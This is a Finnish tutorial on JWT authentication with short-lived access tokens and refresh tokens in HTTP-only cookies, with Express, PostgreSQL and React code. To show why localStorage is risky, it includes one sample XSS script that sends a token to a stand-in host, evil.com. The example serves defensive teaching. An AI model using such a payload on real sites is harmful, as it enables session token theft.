

JWT Autentikointi : Access Token, Refresh Token ja HTTP-Only Cookie

(Pekka Alaluukas 2025)

Sisällysluettelo

1. [Yleiskatsaus](#)
 2. [Tietokannan rakenne](#)
 3. [Backend-toteutus](#)
 4. [Frontend-toteutus](#)
 5. [Turvallisuus](#)
 6. [Miksi HTTP-Only Cookie?](#)
-

Yleiskatsaus

Autentikoinnin rakenne

Access Token (lyhytikäinen, 15 min)

- Tallennetaan frontend-sovelluksen muistiin (state/context)
- Lähetetään jokaisessa API-pyynnössä `Authorization: Bearer <token>` headerissa
- Ei tallenneta localStorageen tai sessionStorageen (XSS-riski)

Refresh Token (pitkäikäinen, 7 päivää)

- Tallennetaan **HTTP-Only cookieen**
- Käytetään uuden access tokenin hankkimiseen kun vanha vanhenee
- Tallennetaan myös tietokantaan käyttäjän tietoihin

Autentikoinnin kulku

1. Käyttäjä kirjautuu username + password
- ↓
2. Backend validoi tunnukset
- ↓
3. Backend luo access token (15min) ja refresh token (7d)
- ↓
4. Backend tallentaa refresh tokenin tietokantaan
- ↓
5. Backend palauttaa access tokenin JSON:ssa
Backend asettaa refresh tokenin HTTP-only cookieen
- ↓
6. Frontend tallentaa access tokenin muistiin
- ↓
7. Frontend käyttää access tokenia API-kutsuissa (Authorization header)

↓

8. Kun access token vanhenee (401/403 virhe):
- Frontend kutsuu /refresh endpointia
 - Refresh token lähetetään automaattisesti cookiessa
 - Backend validoi refresh tokenin tietokannasta
 - Backend palauttaa uuden access tokenin

Tietokannan rakenne

Users-taulu

```
CREATE TABLE users (  
  username VARCHAR(50) PRIMARY KEY,  
  password VARCHAR(60),          -- bcrypt hash  
  refresh_token TEXT              -- JWT refresh token  
);
```

Kentät:

- **username** - Käyttäjätunnus (primary key, käytetään kirjautumiseen)
- **password** - Bcrypt-hashattu salasana (60 merkkiä bcrypt hashille)
- **refresh_token** - Tallentaa aktiivisen refresh tokenin
 - Mahdollistaa logout-toiminnon (token poistetaan)
 - Mahdollistaa tokenin validoinnin
 - NULL kun käyttäjä ei ole kirjautunut

Huom: Username on primary key, joten sen täytyy olla uniikki. Tämä estää saman käyttäjätunnuksen käytön useammalle tilille.

Backend-toteutus

1. Riippuvuudet

```
{  
  "dependencies": {  
    "bcryptjs": "^3.0.2",  
    "jsonwebtoken": "^9.0.2",  
    "cookie-parser": "^1.4.6",  
    "express": "^4.18.2"  
  }  
}
```

2. Ympäristömuuttujat (.env)

```
JWT_ACCESS_SECRET=your-access-token-secret-change-this-in-production
JWT_REFRESH_SECRET=your-refresh-token-secret-change-this-in-production
FRONTEND_URL=http://localhost:3000
```

Tärkeää:

- Käytä eri salaisuuksia access ja refresh tokeneille
- Vaihda salaisuudet tuotannossa vahvoiksi satunnaisiksi merkkijonoiksi
- Älä koskaan commitoi .env-tiedostoa Gitiin

3. JWT Utilities (utils/jwt.js)

```
import jwt from "jsonwebtoken";

const ACCESS_TOKEN_EXPIRY = "15m"; // 15 minuuttia
const REFRESH_TOKEN_EXPIRY = "7d"; // 7 päivää

// Luo access token
export function generateAccessToken(username) {
  return jwt.sign(
    { username },
    process.env.JWT_ACCESS_SECRET,
    { expiresIn: ACCESS_TOKEN_EXPIRY }
  );
}

// Luo refresh token
export function generateRefreshToken(username) {
  return jwt.sign(
    { username },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: REFRESH_TOKEN_EXPIRY }
  );
}

// Validoi access token
export function verifyAccessToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_ACCESS_SECRET);
  } catch (error) {
    return null;
  }
}

// Validoi refresh token
export function verifyRefreshToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_REFRESH_SECRET);
  } catch (error) {
    return null;
  }
}
```

```
    return null;
  }
}
```

4. Tietokantafunktiot (models/user_model.js)

```
import pool from "../database.js";
import bcrypt from "bcryptjs";

const SALT_ROUNDS = 10;

// Luo käyttäjä
export async function addOne(username, password) {
  const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
  const result = await pool.query(
    "INSERT INTO users (username, password) VALUES ($1, $2) RETURNING username",
    [username, hashedPassword]
  );
  return result.rows[0];
}

// Hae kaikki käyttäjät
export async function getAll() {
  const result = await pool.query("SELECT username FROM users");
  return result.rows;
}

// Validoi käyttäjä kirjautumisessa
export async function authenticateUser(username, password) {
  const result = await pool.query(
    "SELECT username, password FROM users WHERE username = $1",
    [username]
  );

  if (result.rows.length === 0) {
    return null;
  }

  const user = result.rows[0];
  const isValid = await bcrypt.compare(password, user.password);

  if (isValid) {
    return { username: user.username };
  }

  return null;
}

// Tallenna refresh token
```

```

export async function saveRefreshToken(username, refreshToken) {
  const result = await pool.query(
    "UPDATE users SET refresh_token = $1 WHERE username = $2 RETURNING username",
    [refreshToken, username]
  );
  return result.rows[0];
}

// Hae käyttäjä refresh tokenin perusteella
export async function getUserByRefreshToken(refreshToken) {
  const result = await pool.query(
    "SELECT username FROM users WHERE refresh_token = $1",
    [refreshToken]
  );
  return result.rows.length > 0 ? result.rows[0] : null;
}

// Poista refresh token (logout)
export async function clearRefreshToken(username) {
  const result = await pool.query(
    "UPDATE users SET refresh_token = NULL WHERE username = $1 RETURNING username",
    [username]
  );
  return result.rows[0];
}

```

5. Authentication Middleware (middleware/auth.js)

```

import { verifyAccessToken } from "../utils/jwt.js";

export function authenticateToken(req, res, next) {
  const authHeader = req.headers["authorization"];
  const token = authHeader && authHeader.split(" ")[1]; // "Bearer TOKEN"

  if (!token) {
    return res.status(401).json({ error: "Access token required" });
  }

  const decoded = verifyAccessToken(token);

  if (!decoded) {
    return res.status(403).json({ error: "Invalid or expired access token" });
  }

  req.user = decoded; // { username: "..."}
  next();
}

```

6. User Controller (controllers/user_controller.js)

```
import {
  getAll,
  addOne,
  authenticateUser,
  saveRefreshToken,
  getUserByRefreshToken,
  clearRefreshToken
} from "../models/user_model.js";
import {
  generateAccessToken,
  generateRefreshToken,
  verifyRefreshToken
} from "../utils/jwt.js";

// Hae kaikki käyttäjät
export async function getUsers(req, res, next) {
  try {
    const users = await getAll();
    res.json(users);
  } catch (err) {
    next(err);
  }
}

// Rekisteröi uusi käyttäjä
export async function addUser(req, res, next) {
  try {
    const { username, password } = req.body;

    if (!username || !password) {
      return res.status(400).json({ error: "Username and password are required" });
    }

    const user = await addOne(username, password);
    res.status(201).json({ message: "User created successfully", username: user.username });
  } catch (err) {
    if (err.code === '23505') { // PostgreSQL unique violation
      return res.status(409).json({ error: "Username already exists" });
    }
    next(err);
  }
}

// Kirjaudu sisään
export async function login(req, res, next) {
  try {
    const { username, password } = req.body;
```

```

    if (!username || !password) {
        return res.status(400).json({ error: "Username and password are required"
    });
    }

    const user = await authenticateUser(username, password);

    if (!user) {
        return res.status(401).json({ error: "Invalid username or password" });
    }

    // Luo tokenit
    const accessToken = generateAccessToken(user.username);
    const refreshToken = generateRefreshToken(user.username);

    // Tallenna refresh token tietokantaan
    await saveRefreshToken(user.username, refreshToken);

    // Aseta refresh token HTTP-only cookieen
    res.cookie("refreshToken", refreshToken, {
        httpOnly: true, // Ei JavaScript-pääsyä
        secure: process.env.NODE_ENV === "production", // HTTPS tuotannossa
        sameSite: "strict", // CSRF-suojaus
        maxAge: 7 * 24 * 60 * 60 * 1000, // 7 päivää
    });

    res.json({
        message: "Login successful",
        username: user.username,
        accessToken
    });
} catch (err) {
    next(err);
}

// Päivitä access token
export async function refreshAccessToken(req, res, next) {
    try {
        const refreshToken = req.cookies.refreshToken;

        if (!refreshToken) {
            return res.status(401).json({ error: "Refresh token required" });
        }

        // Validoi refresh token
        const decoded = verifyRefreshToken(refreshToken);

        if (!decoded) {
            return res.status(403).json({ error: "Invalid or expired refresh token"
        });
    }
}

```

```

// Tarkista että token on tietokannassa
const user = await getUserByRefreshToken(refreshToken);

if (!user) {
  return res.status(403).json({ error: "Invalid refresh token" });
}

// Luo uusi access token
const accessToken = generateAccessToken(user.username);

res.json({ accessToken });
} catch (err) {
  next(err);
}
}

// Kirjaudu ulos
export async function logout(req, res, next) {
  try {
    const refreshToken = req.cookies.refreshToken;

    if (refreshToken) {
      const user = await getUserByRefreshToken(refreshToken);

      if (user) {
        // Poista refresh token tietokannasta
        await clearRefreshToken(user.username);
      }
    }

    // Poista cookie
    res.clearCookie("refreshToken");

    res.json({ message: "Logout successful" });
  } catch (err) {
    next(err);
  }
}

```

7. Routes (routers/user_router.js)

```

import { Router } from "express";
import { getUsers, addUser, login, refreshAccessToken, logout } from
"../controllers/user_controller.js";
import { authenticateToken } from "../middleware/auth.js";

const userRouter = Router();

// Julkiset reitit

```



```

userRouter.post("/register", addUser);
userRouter.post("/login", login);
userRouter.post("/refresh", refreshAccessToken);
userRouter.post("/logout", logout);

// Suojatut reitit (vaativat autentikoinnin)
userRouter.get("/", authenticateToken, getUsers);

export default userRouter;

```

8. Express konfiguraatio (index.js)

```

import express from "express";
import cors from "cors";
import cookieParser from "cookie-parser";
import "dotenv/config";

import bookRouter from "./routers/book_router.js";
import userRouter from "./routers/user_router.js";
import { authenticateToken } from "./middleware/auth.js";

const app = express();
const port = process.env.PORT;

app.use(cors({
  origin: process.env.FRONTEND_URL || "http://localhost:3000",
  credentials: true // Allow cookies
}));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

app.get("/", async (req, res) => {
  res.send("Postgres API esimerkki");
});

//Suojaamattomat endpointit
app.use("/user", userRouter);

//Suojatut endpointit
app.use("/book", authenticateToken, bookRouter);

app.listen(port, () => {
  console.log(`Server is listening port ${port}`);
});

```

Frontend-toteutus

1. Auth Context (contexts/AuthContext.js)

```
import { createContext, useContext, useState, useEffect } from "react";

const AuthContext = createContext(null);

export function AuthProvider({ children }) {
  const [user, setUser] = useState(null);
  const [accessToken, setAccessToken] = useState(null);
  const [loading, setLoading] = useState(true);

  // Tarkista sessio sivun latautuessa
  useEffect(() => {
    refreshToken();
  }, []);

  const login = async (username, password) => {
    const res = await fetch(`${process.env.REACT_APP_API_URL}/user/login`, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      credentials: "include", // Lähetä ja vastaanota cookies
      body: JSON.stringify({ username, password }),
    });

    if (!res.ok) {
      const error = await res.json();
      throw new Error(error.error || "Login failed");
    }

    const data = await res.json();
    setUser({ username: data.username });
    setAccessToken(data.accessToken);
    return data;
  };

  const logout = async () => {
    await fetch(`${process.env.REACT_APP_API_URL}/user/logout`, {
      method: "POST",
      credentials: "include",
    });

    setUser(null);
    setAccessToken(null);
  };

  const refreshToken = async () => {
    try {
      const res = await fetch(`${process.env.REACT_APP_API_URL}/user/refresh`,
    {
```

```

    method: "POST",
    credentials: "include", // Lähetä cookie
  });

  if (res.ok) {
    const data = await res.json();
    setAccessToken(data.accessToken);

    // Dekoodaa username tokenista
    const payload = JSON.parse(atob(data.accessToken.split('.')[1]));
    setUser({ username: payload.username });

    return data.accessToken; // Palauta uusi token
  } else if (res.status === 401 || res.status === 403) {
    // Ei kirjautunutta sessiota - tämä on normaali tilanne
    // Ei kirjata virhettä
    setUser(null);
    setAccessToken(null);
    return null;
  } else {
    console.error("Unexpected error during token refresh:", res.status);
    return null;
  }
} catch (error) {
  console.error("Token refresh failed:", error);
  return null;
} finally {
  setLoading(false);
}
};

// Authorized fetch joka automaattisesti uusii tokenin tarvittaessa
const authorizedFetch = async (url, options = {}) => {
  if (!accessToken) {
    throw new Error("Not authenticated");
  }

  // Lisää Authorization header
  const headers = {
    ...options.headers,
    'Authorization': `Bearer ${accessToken}`,
  };

  // Tee ensimmäinen pyyntö
  let response = await fetch(url, { ...options, headers });

  // Jos saimme 401 (Unauthorized), yritä uusia token ja uudelleen
  if (response.status === 401) {
    const newToken = await refreshToken();

    if (!newToken) {
      // Token refresh epäonnistui - käyttäjä ei ole enää kirjautunut
      throw new Error('Session expired. Please login again.');
```

```

    }

    // Yritä uudelleen uudella tokenilla
    headers['Authorization'] = `Bearer ${newToken}`;
    response = await fetch(url, { ...options, headers });
  }

  return response;
};

const value = {
  user,
  accessToken,
  login,
  logout,
  refreshToken,
  authorizedFetch,
  loading,
};

return <AuthContext.Provider value={value}>{children}</AuthContext.Provider>;
}

export function useAuth() {
  return useContext(AuthContext);
}

```

2. LoginForm-komponentti (components/LoginForm.js)

```

import { useState } from "react";
import { useAuth } from "../contexts/AuthContext";

function LoginForm({ onClose }) {
  const [username, setUsername] = useState("");
  const [password, setPassword] = useState("");
  const [error, setError] = useState("");
  const [loading, setLoading] = useState(false);
  const { login } = useAuth();

  const handleSubmit = async (e) => {
    e.preventDefault();
    setError("");
    setLoading(true);

    try {
      await login(username, password);
      onClose();
    } catch (err) {
      setError(err.message);
    } finally {

```

```

        setLoading(false);
    }
};

return (
    <div>
        <h2>Login</h2>
        <form onSubmit={handleSubmit}>
            <div>
                <label>Username:</label>
                <input
                    type="text"
                    value={username}
                    onChange={(e) => setUsername(e.target.value)}
                    required
                />
            </div>

            <div>
                <label>Password:</label>
                <input
                    type="password"
                    value={password}
                    onChange={(e) => setPassword(e.target.value)}
                    required
                />
            </div>

            {error && <div>{error}</div>}

            <button type="submit" disabled={loading}>
                {loading ? "Loading..." : "Login"}
            </button>

            <button type="button" onClick={onClose}>
                Cancel
            </button>
        </form>
    </div>
);
}

export default LoginForm;

```

3. App-komponentti (App.js)

```

import { useState } from "react";
import { useAuth } from "../contexts/AuthContext";
import LoginForm from "../components/LoginForm";

```

```

function App() {
  const [books, setBooks] = useState([]);
  const [loading, setLoading] = useState(false);
  const [showLogin, setShowLogin] = useState(false);
  const [showBooks, setShowBooks] = useState(false);
  const [error, setError] = useState("");
  const { user, logout, accessToken } = useAuth();

  const fetchBooks = async () => {
    if (!user || !accessToken) {
      setError("Sinun on kirjauduttava nähdäksesi kirjat");
      return;
    }

    setLoading(true);
    setError("");

    try {
      const res = await fetch(`${process.env.REACT_APP_API_URL}/book`, {
        headers: {
          "Authorization": `Bearer ${accessToken}`,
        },
      });

      if (!res.ok) {
        if (res.status === 401 || res.status === 403) {
          throw new Error("Authentikointi vaaditaan");
        }
        throw new Error("Kirjojen haku epäonnistui");
      }

      const data = await res.json();
      setBooks(data);
      setShowBooks(true);
    } catch (err) {
      console.error("Kirjojen näyttäminen epäonnistui:", err);
      setError(err.message);
      setBooks([]);
      setShowBooks(false);
    } finally {
      setLoading(false);
    }
  };

  const handleLogout = () => {
    logout();
    setBooks([]);
    setShowBooks(false);
    setError("");
  };

  return (
    <div>

```

```

<div>
  <h1>Book Application</h1>
  <div>
    {user && `Logged in as: ${user.username}`}
  </div>
</div>

<div>
  {!user ? (
    <button
      onClick={() => setShowLogin(true)}

    >
      Login
    </button>
  ) : (
    <>
      <button
        onClick={fetchBooks}
        disabled={loading}
      >
        {loading ? "Loading..." : "Kirjat"}
      </button>
      <button
        onClick={handleLogout}
      >
        Logout
      </button>
    </>
  )}
</div>

{error && (
  <div>
    {error}
  </div>
)}

{showBooks && books.length === 0 && !loading && (
  <p>Ei kirjoja löytynyt.</p>
)}

{showBooks && books.length > 0 && (
  <table border="1" style={{ width: "100%" }}>
    <thead>
      <tr>
        <th>Name</th>
        <th>Author</th>
        <th>ISBN</th>
      </tr>
    </thead>
    <tbody>
      {books.map((book) => (

```

```

        <tr key={book.id}>
          <td>{book.name}</td>
          <td>{book.author}</td>
          <td>{book.isbn}</td>
        </tr>
      )}}
    </tbody>
  </table>
)}

{showLogin && <LoginForm onClose={() => setShowLogin(false)} />} />
</div>
);
}

export default App;

```

4. index.js

```

import React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import { AuthProvider } from "./contexts/AuthContext";

const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(
  <React.StrictMode>
    <AuthProvider>
      <App />
    </AuthProvider>
  </React.StrictMode>
);

```

Toiminnallisuus:

- Käyttää `useAuth` hookia kirjautumiseen
- Hallitsee lomakkeen tilan (username, password, error, loading)
- Näyttää virheilmoitukset käyttäjälle
- `onClose` callback sulkee lomakkeen onnistuneen kirjautumisen jälkeen
- Yksinkertainen HTML-lomake ilman inline-tyylejä
- Loading-tila estää useita samanaikaisia kirjautumisyrityksiä

Turvallisuus

Access Token turvallisuus

Hyvät käytännöt:

- Lyhyt voimassaoloaika (15 min)
- Tallennetaan vain muistiin (React state/context)
- Ei koskaan localStorageen tai sessionStorageen
- Lähetetään vain HTTPS:n yli tuotannossa

Mitä välttää:

- localStorage tai sessionStorage (XSS-haavoittuva)
- Pitkä voimassaoloaika
- Tallentaminen URL parametreihin

Refresh Token turvallisuus

Hyvät käytännöt:

- HTTP-Only cookie (JavaScript ei pääse käsiksi)
- Tallennetaan tietokantaan validointia varten
- Pitkä voimassaoloaika OK (cookie on suojattu)
- SameSite=strict (CSRF-suojaus)
- Secure flag tuotannossa (HTTPS-only)

Mitä välttää:

- Tallentaminen localStorageen
- Tallentaminen normaaliin cookieen ilman httpOnly-flagia

Salasanat

Hyvät käytännöt:

- Käytä bcryptjs (tai bcrypt) hashaukseen
- Vähintään 10 salt roundia
- Älä koskaan tallenna plaintext-salasanoja

Miksi HTTP-Only Cookie?

HTTP-Only Cookie edut

1. XSS-suojaus (Cross-Site Scripting)

```
// localStorage - haavoittuva XSS:lle
localStorage.setItem('token', token);

// Hakkeri voi injektoida:
<script>
  fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
</script>
```

```
// HTTP-Only cookie - JavaScript EI pääse käsiksi
// Cookie lähetetään automaattisesti, mutta JavaScript ei voi lukea sitä
document.cookie; // ei näytä httpOnly cookieta
```

HTTP-Only cookie on turvallinen koska:

- JavaScript-koodi ei voi lukea sitä
- JavaScript-koodi ei voi lähettää sitä muualle
- XSS-hyökkäys ei voi varastaa tokenia

2. Automaattinen lähetys

- Cookie lähetetään automaattisesti jokaisessa pyynnössä samalle domainille
- Ei tarvitse manuaalisesti lisätä headereihin
- Yksinkertaistaa koodia

3. CSRF-suojaus (Cross-Site Request Forgery)

```
// SameSite=strict estää cookieiden lähetyksen ulkopuolisista sivustoista
res.cookie("refreshToken", token, {
  httpOnly: true,
  sameSite: "strict", // Cookie lähetetään vain omalta domainilta
  secure: true        // Vain HTTPS
});
```

Miksi Access Token ei HTTP-Only cookiessa?

Access token lähetetään usein → jos olisi cookiessa, CSRF olisi ongelma.

Ratkaisu:

- Access token → muisti (state) + Authorization header
 - Lyhyt elinikä → pienempi riski
 - Manual control → ei CSRF-ongelmaa
- Refresh token → HTTP-Only cookie
 - Pitkä elinikä → tarvitsee maksimaalisen suojauksen
 - Käytetään vain /refresh endpointissa

Käytännön esimerkki

```
// Login - backend asettaa HTTP-Only cookieiden
res.cookie("refreshToken", refreshToken, {
  httpOnly: true, // JavaScript ei pääse käsiksi
```

```

secure: true, // Vain HTTPS (tuotannossa)
sameSite: "strict", // Vain samalta sivustolta
maxAge: 7 * 24 * 60 * 60 * 1000 // 7 päivää
});

// Frontend - cookie lähetetään automaattisesti
fetch('/users/refresh', {
  method: 'POST',
  credentials: 'include' // Lähetä cookies
});
// Backend saa automaattisesti req.cookies.refreshToken

```

Yhteenveto

Tietoturva-arkkitehtuuri

Token	Tallennuspaikka	Elinikä	Käyttö	Suojaus
Access Token	Frontend muisti (state)	15 min	Authorization header	Lyhyt elinikä, ei tallenneta pysyvästi
Refresh Token	HTTP-Only cookie + DB	7 päivää	Refresh endpoint	HTTP-Only, SameSite, Secure, DB validointi

Tietokannan refresh_token kenttä

Miksi tallentaa tietokantaan?

1. **Logout-toiminto** - Token voidaan invalidoida poistamalla tietokannasta
2. **Validointi** - Varmistetaan että token on vielä voimassa
3. **Turvallisuus** - Voidaan hylätä kompromisoidut tokenit
4. **Session hallinta** - Nähdään ketkä ovat kirjautuneena

Turvallisuuden tarkistuslista

- ☑ Salasanat hashattu bcryptillä
- ☑ Access token lyhytikäinen (15 min)
- ☑ Access token vain muistissa, ei localStorageissa
- ☑ Refresh token HTTP-Only cookiessa
- ☑ SameSite=strict CSRF-suojaukseen
- ☑ Secure flag HTTPS:ää varten tuotannossa
- ☑ Refresh token validoidaan tietokannasta
- ☑ CORS credentials: true
- ☑ JWT salaisuudet ympäristömuuttujissa
- ☑ Eri salaisuudet access ja refresh tokeneille